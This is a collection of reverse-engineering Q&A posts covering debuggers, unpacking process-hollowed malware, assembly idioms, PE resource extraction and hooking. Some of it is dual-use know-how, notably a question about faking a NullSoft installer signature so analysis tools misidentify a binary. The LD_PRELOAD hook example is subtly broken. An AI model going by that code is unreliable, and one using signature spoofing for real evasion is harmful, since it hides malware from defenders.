        "Title": "Manipulate EIP in Immunity Debugger",
        "Tags": "|windbg|immunity-debugger|",
        "Answer": "<p>Alternatively, you can select an address and press <code>ctrl + *</code> (use the <code>*</code> at the right pad)</p>\n"
    },
    {
        "Id": "4607",
        "CreationDate": "2014-06-13T17:10:27.290",
        "Body": "<p>When analyzing malware, I come across packers that inject the actual malware code into a newly spawned process and execute it that way. For that, they create a process in suspended state, inject the code and resume it using <code>ntdll.NtResumeThread</code> on Windows.</p>\n\n<p>I would like to attach to the suspended process after the injection is done, to dump the memory and get the unpacked binary. For that, I break at <code>ntdll.NtResumeThread</code>. Using Olly 2, I can attach to the suspended process.</p>\n\n<p>My problem is now that this seems to resume the process. That would be okay if it would break at the entry point. But it doesn't. Olly does not break until the process I attached to has terminated. Yes, I can dump the memory then. But only if it was not modified by the malware. Also, I don't want the malware code to run at all during unpacking.</p>\n\n<p>So, is there a way to make Olly break (reliably) at the entry point of the new process?</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "Ollydbg 2: Breaking after attaching to a suspended process",
        "Tags": "|ollydbg|",
        "Answer": "<p>FYI, the injection method to which you're referring is called <strong>dynamic forking</strong> or <strong>process hollowing</strong>.</p>\n\n<p>When you attach to the child process with OllyDbg, OllyDbg will create a new thread for itself, but the main thread (the one that would have been resumed with <code>NtResumeThread()</code> from the parent) will still be suspended. Once you've attached with OllyDbg, you can set a breakpoint on the OEP and resume the suspended thread; this will cause OllyDbg to then break at the OEP.</p>\n"
    },
    {
        "Id": "4609",
        "CreationDate": "2014-06-13T19:03:42.253",
        "Body": "<p>I have read the assembly line </p>\n\n<pre><code>OR EAX, 0xFFFFFFFF\n</code></pre>\n\n<p>and in the register <code>EAX</code> the program has stored a string. I have problems to understand how we can make a comparison with a string and a value like that.\nAfter performing that instruction, <code>EAX</code> has the value <code>0xFFFFFFFF</code>.</p>\n\n<p>Can someone tell me which purpose that operation has ? Is it a line which comes frequently in an assembly code ? (for example the line <code>XOR EAX, EAX</code> which is an efficient way to make <code>EAX = 0</code> ? Is it something like that ?)</p>\n",
        "Title": "Purpose of OR EAX,0xFFFFFFFF",
        "Tags": "|assembly|",
        "Answer": "<p>Sorry, I can't post this as a comment but a couple of quick (and non-exhaustive) tests show the following:</p>\n\n<ul>\n<li>gcc (4.6.3) uses <code>or</code> instead of <code>mov</code> when optimising for size (<code>/Os</code>)</li>\n<li>msvc (13) uses <code>or</code> instead of <code>mov</code> whatever the optimisation setting (including disabled)</li>\n<li>clang (3.0) uses <code>mov</code> whatever the optimisation setting</li>\n</ul>\n\n<p>gcc's behaviour, in particular, supports Peter Andersson's answer.</p>\n"
    },
    {
        "Id": "4618",
        "CreationDate": "2014-06-16T12:05:49.690",
        "Body": "<p>I'm trying to extract the files from the <a href=\"https://support.google.com/installer/answer/126299?hl=en\" rel=\"noreferrer\">Google Chrome offline installer</a> as a reverse engineering exercise</p>\n\n<p>So I tried extracting the data inside the installer PE. I tried pestudio which showed me two large embedded resources, however, pestudio had no option to dump them. Extracting the PE with 7-zip shows a file with the name <code>~102</code>.</p>\n\n<p>However, 7zip cannot make out anything out of the <code>~102</code> file. Viewing this file with a hex editor shows that it is a tar archive with around 20 bytes of additional info prepended to it. Removing these 20 bytes does not make it extractable, however.</p>\n\n<p>How can I extract the files from the binary?</p>\n\n<p>I'm a complete noob in reverse engineering, so please correct my mistakes instead of downvoting my question. I'd also be grateful if someone can tell me of a tool which can extract such data from PE executables (instead of my very questionable use of 7-zip for this purpose which also fails for a large number of executables).</p>\n",
        "Title": "Extracting files from google chrome offline installer",
        "Tags": "|static-analysis|pe|",
        "Answer": "<p>I ran the installer through an online EXE inspector which told me the <code>102</code> resource contained <em>LZMA compressed data</em>. <sup>Stupidly, I closed that window to look up what 'LZMA' is. I forgot to note the URL of this specific tool, and now I cannot find it anymore! Such a shame because this hint was <em>crucial</em>.</sup></p>\n\n<p>I then ran it through <a href=\"http://pedump.me\" rel=\"nofollow\">PEdump.me</a>, which allows one to download it separately. To unpack the LZMA compression, I used Stuffit Expander (for OS X), but you can probably use 7-Zip as well -- you may need to add the file extension <code>.lzma</code> to make it work.</p>\n\n<p>This gave me a <em>TAR-like</em> file, containing a few more executables. My local <code>tar</code> was unable to unpack it any further (possibly it's some variant of the standard <code>tar</code>).</p>\n\n<p>The TAR file format is a wrapper to concatenate multiple files into one; its headers contain the original file name and its size, amongst other data. TAR does <em>not</em> apply compression to the resulting file, so you only need a good hex editor to manually split it into the separate programs.</p>\n\n<hr>\n\n<blockquote>\n  <p>.. my very questionable use of 7-zip for this purpose which also fails for a large number of executables ..</p>\n</blockquote>\n\n<p>Being able to show the <a href=\"http://msdn.microsoft.com/en-us/magazine/cc301805.aspx\" rel=\"nofollow\">PE Sections</a> of a Windows executable is a rather uncommon function for a general compressing/uncompressing program... That said: I have found no fault in 7-zip's handling of PE executables. It splits them up into their sections and does nothing more.</p>\n\n<p>You can use a tool such as PE Studio to <em>inspect</em> the resources (are you sure it cannot extract them? It seems such a basic function); but after extracting them, you are on your own. There is no \"standard\" way of compressing or otherwise obfuscating resources; some programs may even contain custom code to extract their own data.</p>\n\n<p>Recognizing the format of a resource is then reduced to the more general \"recognize the file format\", which is an extremely broad topic on its own.</p>\n"
    },
    {
        "Id": "4623",
        "CreationDate": "2014-06-16T23:19:11.793",
        "Body": "<p>Is it possible to determine if a binary  (static or shared and not stripped) is compiled with Linuxthreads or NPTL implementation ? </p>\n",
        "Title": "How to determine which thread implementation binary compiled with",
        "Tags": "|linux|elf|libraries|",
        "Answer": "<p>There are many ways, but I'll cite two. Usually, a binary file, if not stripped,  contains symbols (function names, variable names, ...). These symbols are usually used to ease debugging and are stored using a certain format, DWARF for example.</p>\n\n<p>The first method is to disassemble the binary and look for specific threading libraries related symbols. For example : </p>\n\n<pre><code>    objdump -D ./YOUR_PROGRAM | grep -i thread \n</code></pre>\n\n<p>The second one is to hijack the threading library function calls using your own library and <strong>LD_PRELOAD</strong>. The concept is fairly simple, you write a library (.so) in which you implement the functions which you want to check for, let's say <strong>pthread_create</strong> or <strong>pthread_join</strong>, and reimplement it this way :</p>\n\n<pre><code>    int pthread_create(pthread_t *thread, \n                       const pthread_attr_t *attr,\n                       void *(*start_routine) (void *), \n                       void *arg)\n    {\n          int ret;\n          static void *(*ext_pthread_create)(pthread *, \n                                             const pthread_attr_t *,\n                                             void *,\n                                             void *);\n\n          ext_pthread_create = dlsym(\"RTLD_NEXT\", pthread_create);\n          ret = ext_pthread_create(thread, attr, start_routine, arg);\n\n          printf(\"pthread_create called !\\n\");\n\n          return ret;\n     }\n</code></pre>\n\n<p>All you have to do after compiling and testing your library is call yor program this way :</p>\n\n<pre><code>    LD_PRELOAD=hooklib.so ./YOUR_PROGRAM PARAMS\n</code></pre>\n\n<p>If the function is called, you'll see the printf message on the standard output.  </p>\n"
    },
    {
        "Id": "4624",
        "CreationDate": "2014-06-17T07:09:58.757",
        "Body": "<p>I know how to reverse-engineer normal Android APKs using tools like <code>apktool</code> and <code>dex2jar</code>, but I don't know how to work with obfuscation.</p>\n<p>When I extract everything from APK, I get some Smali files (I tried JD-GUI, but the strings contained random names. Probably obfuscated using ProGuard.), some resource files, and a &quot;.so&quot; files in the <code>/lib</code> directory.</p>\n<ul>\n<li>How do I analyze the &quot;.so&quot; file? I know that SO files are kind of DLLs of the Linux world, but what are the tools that can be used to analyze SO files? Any links to videos would be very helpful.</li>\n<li>Also, how would I get around if there were a JAR file instead of an SO file in the APK?</li>\n</ul>\n<p>I know this largely constitutes learning by myself, but I really don't know what to look or where to look. Some examples would be really helpful. Thanks!</p>\n",
        "Title": "How do I reverse-engineer .so files found in Android APKs?",
        "Tags": "|disassembly|binary-analysis|obfuscation|android|deobfuscation|",
        "Answer": "<p>There is already an answer by the creator of frida, but I just wanted to add that, specifically, we can use the convenience tool <code>frida-trace</code> with a .so file, e.g.</p>\n<pre><code>frida-trace -Ui 'nameOfYourLib.so!*' -p &lt;PID&gt;\n</code></pre>\n<p>to dynamically see what's getting called (entry and exit moments) in that .so file during runtime as you run the app normally (it will filter out to trace only functions within nameOfYourLib.so). This could, for example, be used in conjunction with a static disassembler to find interesting functions to explore deeper.</p>\n"
    },
    {
        "Id": "4626",
        "CreationDate": "2014-06-17T10:30:17.550",
        "Body": "<p>Right now I am playing around with a little <em>training</em> application I found on <a href=\"http://opensecuritytraining.info/\" rel=\"nofollow\">OpenSecurityTraining</a>. </p>\n\n<p>So, I analyzed this code and I think I understand this pretty well. The only thing I don't get is the <code>cmp</code> and <code>je</code> at lines <code>0x004010e3</code> and <code>0x004010e7</code> which seem to be some <code>if</code> conditions. But, I cannot figure out which condition should be met to take the jump instruction. </p>\n\n<p>My workaround was to manipulate <code>eip</code> when the <code>cmp</code> line was executed. But, my question is what condition has to be set to take the <code>je</code> instruction ? </p>\n\n<pre><code>004010e0 55              push    ebp\n004010e1 8bec            mov     ebp,esp\n004010e3 837d0803        cmp     dword ptr [ebp+8],3\n004010e7 7412            je      mystery!main+0x1b (004010fb)\n004010e9 6834404200      push    offset mystery!__rtc_tzz &lt;PERF&gt; (mystery+0x24034) (00424034)\n004010ee e81c040000      call    mystery!printf (0040150f)\n004010f3 83c404          add     esp,4\n004010f6 83c8ff          or      eax,0FFFFFFFFh\n004010f9 eb0b            jmp     mystery!main+0x26 (00401106)\n004010fb e80affffff      call    mystery!mystery_function+0xffffffff`ffffffea (0040100a)\n00401100 eb02            jmp     mystery!main+0x24 (00401104)\n00401102 eb02            jmp     mystery!main+0x26 (00401106)\n00401104 33c0            xor     eax,eax\n00401106 5d              pop     ebp\n00401107 c3              ret\n</code></pre>\n",
        "Title": "Which condition has to be met to execute this if branch",
        "Tags": "|disassembly|assembly|debuggers|windbg|",
        "Answer": "<p><code>dword ptr [val]</code> is exactly, what it says: <strong>A 32bit pointer to value</strong>. As to how <code>cmp</code>, <code>je</code> and all the other instructions work, I recommend the reading of the <a href=\"http://www.intel.com/Assets/en_US/PDF/manual/253666.pdf\" rel=\"nofollow\">Intel Manual</a>.</p>\n"
    },
    {
        "Id": "4633",
        "CreationDate": "2014-06-18T15:49:11.293",
        "Body": "<p>I'm looking for a way to recognize an executable file as a NullSoft installer. I\u00b4m trying to prove that a malicious software is capable of changing the PE signature so we can not trust in some tool tell us a PE is a NullSoft Installer only because it have found the NullSoft signature. </p>\n\n<p>Any help will be appreciated, recommended tools, etc ...</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>After reading the Stolas's answer I decided to edit the question and add more info.</p>\n\n<p>I already tried with to use an hex editor on an original NullSoft installer and I searched for the string <code>NullSoft</code> this yielded the following result:</p>\n\n<p><img src=\"https://i.stack.imgur.com/UJMrQ.png\" alt=\"Result for searching the string &quot;Nullsoft&quot; with UltrEedit.\"></p>\n\n<p>The string was found in a <code>XML</code>:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?&gt;\n&lt;assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"&gt;\n    &lt;assemblyIdentity version=\"1.0.0.0\" processorArchitecture=\"X86\" name=\"Nullsoft.NSIS.exehead\" type=\"win32\"/&gt;\n    &lt;description&gt;\n        Nullsoft Install System v2.46\n    &lt;/description&gt;\n    &lt;dependency&gt;\n        &lt;dependentAssembly&gt;\n            &lt;assemblyIdentity type=\"win32\" name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0\" processorArchitecture=\"X86\" publicKeyToken=\"6595b64144ccf1df\" language=\"*\" /&gt;\n        &lt;/dependentAssembly&gt;\n    &lt;/dependency&gt;\n    &lt;trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\"&gt;\n        &lt;security&gt;\n            &lt;requestedPrivileges&gt;\n                &lt;requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\"/&gt;\n            &lt;/requestedPrivileges&gt;\n        &lt;/security&gt;\n    &lt;/trustInfo&gt;\n    &lt;compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\"&gt;\n        &lt;application&gt;\n            &lt;supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/&gt;\n            &lt;supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"/&gt;\n        &lt;/application&gt;\n    &lt;/compatibility&gt;\n&lt;/assembly&gt;\n</code></pre>\n\n<p>These seems to be what I want to insert in my \"malicious\" app. So, how can I add that into my app? </p>\n\n<p>My app it's just a \"Hello world\" written in Visual C++.</p>\n\n<p>I'm aware that I have to write this at the same offset that in the original, but I just don't know how.</p>\n",
        "Title": "How to change PE signature?",
        "Tags": "|malware|binary-analysis|pe|",
        "Answer": "<p>For this you'd first need to realize how programs are recognized to be specific types of software.</p>\n\n<p>This can be specific imports, strings or binary strings within the code. When you realize how tools make these signatures try to be cunning and put the signature in your 'malicious' application. Check it with your 'signature' tooling and tweak if required.</p>\n"
    },
    {
        "Id": "4635",
        "CreationDate": "2014-06-18T19:06:56.220",
        "Body": "<p>I have heard of disassemblers like IDA and debuggers like OllyDbg but honestly, when you give both of them a binary file it gives me the assembly code. I know that the decompiler gives the source code if you provide it a binary. However, I don't know how they differ in terms of mode of operationand I ask myself questions like \"Why can a android/python code be decompiled but a C code be only disassembled?\"</p>\n\n<p>Can anyone give a precise difference between these 3 kinds of tools?</p>\n",
        "Title": "What's the difference between a disassembler, debugger and decompiler?",
        "Tags": "|disassembly|decompilation|binary-analysis|debuggers|",
        "Answer": "<p>I would like to add the following definition to avoid any doubts:</p>\n\n<blockquote>\n  <p>Decompilers are different from disassemblers in one very important aspect. While both generate\n  human readable text, <strong>decompilers generate much higher level text, which is more concise and much\n  easier to read</strong>.</p>\n</blockquote>\n\n<p>Excerpted from <a href=\"https://www.hex-rays.com/files/decomp_disasm.pdf\" rel=\"nofollow noreferrer\">official hex-rays doc</a></p>\n\n<p>Conclusion, the decompilers alleviate both problems compared to disassemblers: their output is shorter and less repetitive.</p>\n"
    },
    {
        "Id": "4641",
        "CreationDate": "2014-06-19T20:23:29.313",
        "Body": "<p>Here's code that performs some arithmetics.</p>\n\n<pre><code>int main(void) {\n    int i = 3;\n    i++;\n    i+= 2;\n    return 0;\n}\n</code></pre>\n\n<p>I compiled it using 32-bit <a href=\"http://bellard.org/tcc/\" rel=\"nofollow\"><code>tcc</code></a> with the following command</p>\n\n<pre><code>tcc -o hello.exe hello.c\n</code></pre>\n\n<p>I, then, disassembled it using <a href=\"https://www.hex-rays.com/products/ida/support/download_freeware.shtml\" rel=\"nofollow\">IDA free edition</a>, and after some time staring at the <code>start</code> of the instructions I realized that the main function that I was looking for is in a subroutine, and going there I see this:</p>\n\n<pre><code>sub_401000 proc near\n\nvar_4= dword ptr -4\n\npush    ebp               \nmov     ebp, esp           \nsub     esp, 4            // allocate 4 bytes on the stack for var i\nnop\n\nmov     eax, 3            // i = 3 instructions\nmov     [ebp+var_4], eax  // \n\nmov     eax, [ebp+var_4]  // i++ instructions\nmov     ecx, eax          // \ninc     eax               // \nmov     [ebp+var_4], eax  //\n\nmov     eax, [ebp+var_4]  // i+=2 instructions\nadd     eax, 2            //   \nmov     [ebp+var_4], eax  //  \n\nmov     eax, 0           \njmp     $+5              \nleave\nretn\nsub_401000 endp\n</code></pre>\n\n<p>I've added my understanding of what's going on in comments on the right for the body of the method that I am interested in.</p>\n\n<p>For example, incrementing the variable would involve moving a value onto a register and then operating on it. I would expect <code>i++</code> to look something like</p>\n\n<pre><code>mov     eax, [ebp+var_4]\ninc     eax             \n</code></pre>\n\n<p>But the actual instructions involved an extra move</p>\n\n<pre><code>mov     eax, [ebp+var_4]  \nmov     ecx, eax         // &lt;----- ?\ninc     eax               \n</code></pre>\n\n<p>In the add instruction, the extra move isn't there. When I modified the code with a decrement operation, I see that extra move as well.</p>\n\n<p>Is there some purpose for this move from <code>eax</code> to <code>ecx</code> ?</p>\n\n<p>UPDATE:</p>\n\n<p>I am still reading about registers, and from what I've read <code>ecx</code> is used as a counter, but from this code it isn't obvious what it's being used for, if anything.</p>\n",
        "Title": "Why is the ecx register used during an inc instruction",
        "Tags": "|assembly|x86|",
        "Answer": "<p>The comment of Guntram Blohm is right. The original value of <code>i</code> is stored into <code>ecx</code> for a possible later use.</p>\n\n<p><a href=\"http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf\" rel=\"nofollow\">ISO/IEC 9899:TC3</a> (C99) ---\n6.5.2.4 Postfix increment and decrement operators:</p>\n\n<blockquote>\n  <p>The result of the postfix ++ operator is the value of the operand.\n  After the result is obtained, the value of the operand is incremented.\n  (That is, the value 1 of the appropriate type is added to it.) See\n  the discussions of additive operators and compound assignment for\n  information on constraints, types, and conversions and the effects of\n  operations on pointers. The side effect of updating the stored value\n  of the operand shall occur between the previous and the next sequence\n  point.</p>\n</blockquote>\n\n<p>The sequence points are described in Annex C of the document.</p>\n\n<p>TCC performs only few optimizations, the code is generated in a single pass and every C statement is compiled on its own. It seems that the compiler is almost as simple as possible so it does not store any state during the compilation if it is not necessary.</p>\n\n<p>When TCC encountered the sequence point before <code>++</code> it did not know about the <code>++</code> operation. Performing the side-effect of the <code>++</code> operator later after evaluating the <code>++</code> operation would mean to store a state information. It seems that the author of TCC selected the simplest approach - to perform the side-effect together with the evaluation of the <code>++</code> operator.</p>\n\n<p>The original value of the <code>i</code> variable (before incrementing) can possibly be used again in the same expression so it is saved to the <code>ecx</code> register and the result of the postfix increment operation is stored to the variable on the stack immediately (<code>mov [ebp+var_4], eax</code>). It does not matter that the value in <code>ecx</code> is not used later. This is the disadvantage due to the simplicity of TCC. For example you can notice that the code loads the value of <code>i</code> from stack to <code>eax</code> even if the value is in <code>eax</code> already.</p>\n\n<p>Example of code which additionally uses the original value of <code>i</code>:</p>\n\n<pre><code>j = i++ + i * 3;\n</code></pre>\n\n<p>The assembly code:</p>\n\n<pre><code>13: 8b 45 fc        mov eax, DWORD PTR [rbp-0x4]    // load i to eax\n16: 48 89 c1        mov ecx, eax                    // store the original value of i for later use\n19: 83 c0 01        add eax, 0x1                    // increment the value (the side effect of ++)\n1c: 89 45 fc        mov DWORD PTR [rbp-0x4], eax    // store it to i - everything between \"=\" and \"+\" is done at this point including the side-effect of i++\n1f: 8b 45 fc        mov eax, DWORD PTR [rbp-0x4]    // load i to eax (Now it is the incremented value.)\n22: ba 03 00 00 00  mov edx, 0x3                    // load value 3 for the multiplication\n27: 0f af c2        imul    eax, edx                // multiply\n2a: 01 c1           add ecx, eax                    // add the original value of i (the result of i++)\n2c: 89 4d f8        mov DWORD PTR [rbp-0x8], ecx    // store the result to j\n</code></pre>\n\n<p>At <code>1f</code> the incremented value of <code>i</code> is being used but it is also possible to use the original value of <code>i</code> there and still be in adherence with C99 because the sequence point after <code>i++</code> was not encountered yet. In this case the sequence points are right before and after the statement.</p>\n"
    },
    {
        "Id": "4642",
        "CreationDate": "2014-06-19T21:16:22.823",
        "Body": "<p>Just started out with x86 assembly and slowly getting the hang of it. IDA produces nice graphs that make it much easier to follow all the jumps and function calls and stuff.</p>\n\n<p>I've looked at examples of arithmetics, control flow, loops, and function calls, and feel that I could reasonably take a chunk of instructions and reproduce the same logic in Java or C.</p>\n\n<p>Are there tools that will automatically take assembly and convert it to, say, C? I imagine for some people that at some point it becomes more of a chore than an exercise after doing it for years.</p>\n",
        "Title": "Automatically convert x86 assembly to C",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>There's also <a href=\"https://github.com/frranck/asm2c\" rel=\"nofollow noreferrer\">asm2c</a> that works on assembly source code instead of executables or objects files.</p>\n\n<blockquote>\n  <p>Swift tool to transform DOS/PMODEW 386 TASM Assembly code to C code</p>\n</blockquote>\n"
    },
    {
        "Id": "4649",
        "CreationDate": "2014-06-20T14:44:03.667",
        "Body": "<p>I have the following line in an assembler code:</p>\n\n<pre><code> XOR EAX, EBX\n</code></pre>\n\n<p>So, then I've searched a little bit and found out that XOR represents a \"swap algorithm\". You can read it here: <a href=\"http://en.wikipedia.org/wiki/XOR_swap_algorithm\" rel=\"nofollow\">http://en.wikipedia.org/wiki/XOR_swap_algorithm</a></p>\n\n<p>But when I look in register window of ollydbg, then I have the following </p>\n\n<pre><code> EAX = 00000068\n EBX = 0000003B\n</code></pre>\n\n<p>Now, after the line the register window says</p>\n\n<pre><code>EAX = 000000053\nEBX = 0000003B\n</code></pre>\n\n<p>But from that what I have read in wikipedia article I would expect the following</p>\n\n<pre><code>EAX = 0000003B\nEBX = 00000053\n</code></pre>\n\n<p>At the end, i can say that a normal XOR operation is performed because:</p>\n\n<pre><code>0111011   =&gt;EAX=0000003B \n1101000   =&gt;EBX=00000068\n-------\n1010011   =&gt;EAX=00000053\n</code></pre>\n\n<p>So my question would be why the swap algorithm is not performed. Or in other words: When can I expect the swap algorithm?</p>\n",
        "Title": "Has XOR EAX, EBX another purpose?",
        "Tags": "|assembly|",
        "Answer": "<p>As the first answer states, XOR is a bitewise XOR, not an XOR swap. </p>\n\n<p>To do the Xor swap that you referenced from wikipedia it takes <em>3 instructions</em> : </p>\n\n<pre><code>xor eax, ebx\nxor ebx, eax\nxor eax, ebx\n</code></pre>\n\n<p>Since you asked about the <em>purpose</em> of XOR I thought I would include some other concepts for you to read up on, so you might have an idea of what to expect from XORs</p>\n\n<p>You can use XOR to clear a register: </p>\n\n<pre><code>xor eax,eax\n</code></pre>\n\n<p>Calculate absolute value: </p>\n\n<pre><code>cdq\nxor eax,edx\nsub eax,edx\n</code></pre>\n\n<p>XORs can be used for Crypto:\n<a href=\"http://en.wikipedia.org/wiki/XOR_swap_algorithm\">http://en.wikipedia.org/wiki/XOR_swap_algorithm</a></p>\n\n<p>XORs are used in the CRC checksum algorithm:\n<a href=\"http://en.wikipedia.org/wiki/Cyclic_redundancy_check\">http://en.wikipedia.org/wiki/Cyclic_redundancy_check</a></p>\n\n<p>XORs can be used to calculate Gray codes:\n<a href=\"http://www.morkalork.com/mork/article/74/How_to_understand_and_use_Gray_code.htm#.U6RhN_ldXvI\">http://www.morkalork.com/mork/article/74/How_to_understand_and_use_Gray_code.htm#.U6RhN_ldXvI</a></p>\n\n<p>This is just the tip of the iceberg. The instruction can be used in a large number of situations. </p>\n"
    },
    {
        "Id": "4664",
        "CreationDate": "2014-06-21T13:11:37.690",
        "Body": "<p>I'm writing a handy reverse tool in C++ with manual assembling/disassembling shell, to automate my work!</p>\n\n<p>I need an assembler library.\nIs there any library, embedding in C++?</p>\n",
        "Title": "Automated Assembly/Disassemble library",
        "Tags": "|binary-analysis|dynamic-analysis|",
        "Answer": "<p>Oleh Yuschuk released a light-weight open-source assembler library that you can download from <a href=\"http://ollydbg.de/srcdescr.htm\" rel=\"nofollow noreferrer\">http://ollydbg.de/srcdescr.htm</a></p>\n<blockquote>\n<p><strong>Assemble</strong></p>\n<p>Function Assemble(), as expected, converts command from ASCII\nform to binary 32 bit code.</p>\n</blockquote>\n<p>Example:</p>\n<pre><code>  // Assemble one of the commands above. First try form with 32-bit immediate.\n  pasm=&quot;ADD [DWORD 475AE0],1&quot;;\n  printf(&quot;%s:\\n&quot;,pasm);\n  j=Assemble(pasm,0x400000,&amp;am,0,0,errtext);\n  n=sprintf(s,&quot;%3i  &quot;,j);\n  for (i=0; i&lt;j; i++) n+=sprintf(s+n,&quot;%02X &quot;,am.code[i]);\n  if (j&lt;=0) sprintf(s+n,&quot;  error=\\&quot;%s\\&quot;&quot;,errtext);\n  printf(&quot;%s\\n&quot;,s);\n</code></pre>\n"
    },
    {
        "Id": "4668",
        "CreationDate": "2014-06-22T22:47:57.087",
        "Body": "<p>I've noticed that, even after stripping symbols from my executable, class names and their methods are still included at the end of the executable file.</p>\n\n<p>For instance:</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nusing namespace std;\n\nclass Clingons\n{\npublic:\n    void clingForever()\n    {\n        cout &lt;&lt; \"Qapla\" &lt;&lt; endl;\n    }\n};\n\nint main(int argc, char *argv[])\n{\n    Clingons cling;\n\n    cling.clingForever();\n\n    return 0;\n}\n</code></pre>\n\n<p>Then compile and link with:</p>\n\n<pre><code>g++ cling.cpp -o cling\n</code></pre>\n\n<p>Now, when I look at the bottom of the resulting \"cling\" file with a hex editor, I can see the \"Clingons\" class name along with it's methods. I can also see this information while debugging..</p>\n\n<p>even after I strip them:</p>\n\n<pre><code>strip -x cling\n</code></pre>\n\n<p>I can still see the same information.</p>\n\n<p>So why wasn't this information stripped away when I used the command above? Is there a way to strip (or mangle) this information other than by hand?</p>\n\n<p>The used version of GCC is <code>i686-apple-darwin10-llvm-g++-4.2 (GCC) 4.2.1</code></p>\n\n<p>This is just an example case. My real project involves the Qt framework.</p>\n",
        "Title": "How to strip more than symbols?",
        "Tags": "|executable|functions|symbols|",
        "Answer": "<p>The toolbox <a href=\"http://www.muppetlabs.com/%7Ebreadbox/software/elfkickers.html\" rel=\"nofollow noreferrer\">ELFKicker</a> has an utility called <code>sstrip</code> that strip an ELF executable down to the bones.</p>\n<p>But, it seems that you are using Mach-O executable format. So, I would recommend to look at the <a href=\"https://github.com/BR903/ELFkickers/blob/master/sstrip/sstrip.c\" rel=\"nofollow noreferrer\">source code of <code>sstrip</code></a> and build your own stripper.</p>\n<p>You can also take a look at the <a href=\"https://github.com/gdbinit/otool-ng/blob/master/cctools/misc/strip.c\" rel=\"nofollow noreferrer\">source code of the <code>strip</code> command for Mach-O</a> and get inspiration. And, also, this <a href=\"https://web.archive.org/web/20150528181706/http://src.chromium.org/svn/trunk/src/build/mac/strip_save_dsym\" rel=\"nofollow noreferrer\">Python script <code>strip_save_dsym</code></a> might also give some hints.</p>\n<p>Finally, here are a few comparisons between ELF and Mach-O formats:</p>\n<ul>\n<li><a href=\"http://timetobleed.com/dynamic-linking-elf-vs-mach-o/\" rel=\"nofollow noreferrer\">Dynamic Linking: ELF vs. Mach-O</a></li>\n<li><a href=\"http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/\" rel=\"nofollow noreferrer\">Dynamic symbol table duel: ELF vs Mach-O, round 2</a></li>\n<li><a href=\"https://web.archive.org/web/20200103161741/http://osxbook.com/blog/2009/03/15/crafting-a-tiny-mach-o-executable/\" rel=\"nofollow noreferrer\">Crafting a Tiny Mach-O Executable</a></li>\n</ul>\n"
    },
    {
        "Id": "4671",
        "CreationDate": "2014-06-23T03:13:59.103",
        "Body": "<p>As a beginner I'm trying to load an unknown format binary file with IDA Pro,but I don't know the Image Base of this file. Are there any methods to get the Image Base. Could you also reference related papers in your answer. </p>\n",
        "Title": "Image base of unknown file format?",
        "Tags": "|ida|firmware|",
        "Answer": "<p>I wrote something for Cortex M3 MCUs here:\n<a href=\"http://www.reddit.com/r/ReverseEngineering/comments/21kgtc/beginners_project_logitech_g940_firmware/cgeokv3\" rel=\"noreferrer\">http://www.reddit.com/r/ReverseEngineering/comments/21kgtc/beginners_project_logitech_g940_firmware/cgeokv3</a></p>\n\n<p>As you didn't write anything about the device your blob is for and how it gets there no conclusion can be made from us.</p>\n\n<p>But you really need to know which CPU you have, where the flash memory is at and how vector tables and such work on this specific model to determine something.</p>\n\n<p>Some MCUs have a bootloader at the beginning of the flash and the user code is begind it, other MCUs have the bootloader in the upper region of the flash and user code starts at the front.</p>\n"
    },
    {
        "Id": "4682",
        "CreationDate": "2014-06-24T01:49:07.347",
        "Body": "<p>On starting <code>notepad.exe</code> with Ollydbg, I see that <code>eax</code> has a value that points at <code>kernel32.BaseThreadInitThunk</code>.</p>\n\n<p><code>notepad.exe</code> does not seem to import <code>kernel32.dll::BaseThreadInitThunk</code>.\nI cannot find that function, by running dependency walker on <code>notepad.exe</code>.</p>\n\n<p>How can <code>kernel32.dll::BaseThreadInitThunk</code> function be executed without importing it ?</p>\n",
        "Title": "kernel32.BaseThreadInitThunk without IAT",
        "Tags": "|windows|dll|iat|",
        "Answer": "<p>It is just a coincidence. It happens sometimes that the value in a register be the address of some valid api which the application has nothing to do about. For reference see these images.</p>\n\n<p>I have loaded OllyDbg2 in OllyDbg2. OllyDbg2 does not import <code>kernel32.dll::BaseThreadInitThunk</code></p>\n\n<p><img src=\"https://i.stack.imgur.com/K1APm.jpg\" alt=\"In Windows 7\">\n<strong>Ollydbg in Windows 7</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/Tb2Pj.jpg\" alt=\"In Windows XP\">\n<strong>Ollydbg in Windows XP</strong></p>\n\n<p>In Windows 7 on entrypoint the value of <code>eax</code> is the address of <code>BaseThreadInitThunk</code>. However on Windows XP the value of <code>eax</code> is 0.</p>\n"
    },
    {
        "Id": "4684",
        "CreationDate": "2014-06-24T14:06:27.840",
        "Body": "<p>Spotted an interesting problem when trying to determine which type of structure (since <code>isStruct(getFlags(ea))</code> returns <code>True</code>) is defined at the given address in the DB. Reading through <code>idc.py</code> didn't help much.</p>\n\n<ul>\n<li>Define a <code>struct</code> in the \"structures\" window.</li>\n<li>It gets assigned a <code>struct</code> ID, so, it can be accessed from IDC/Python scripts.</li>\n<li>Now, define a <code>struct</code> variable somewhere in e.g. the <code>.data</code> section.</li>\n</ul>\n\n<p>A solid example:</p>\n\n<pre><code># Some Python code\nstrid = idaapi.get_struc_id('_s__RTTIClassHierarchyDescriptor')\nsize = idaapi.get_struc_size(strid)\nidaapi.doStruct(ea, size, strid)\n</code></pre>\n\n<p>How, knowing the <code>ea</code>, do I get the <code>strid</code> value ?</p>\n",
        "Title": "IDAPython: Get struct id defined at an address",
        "Tags": "|idapython|",
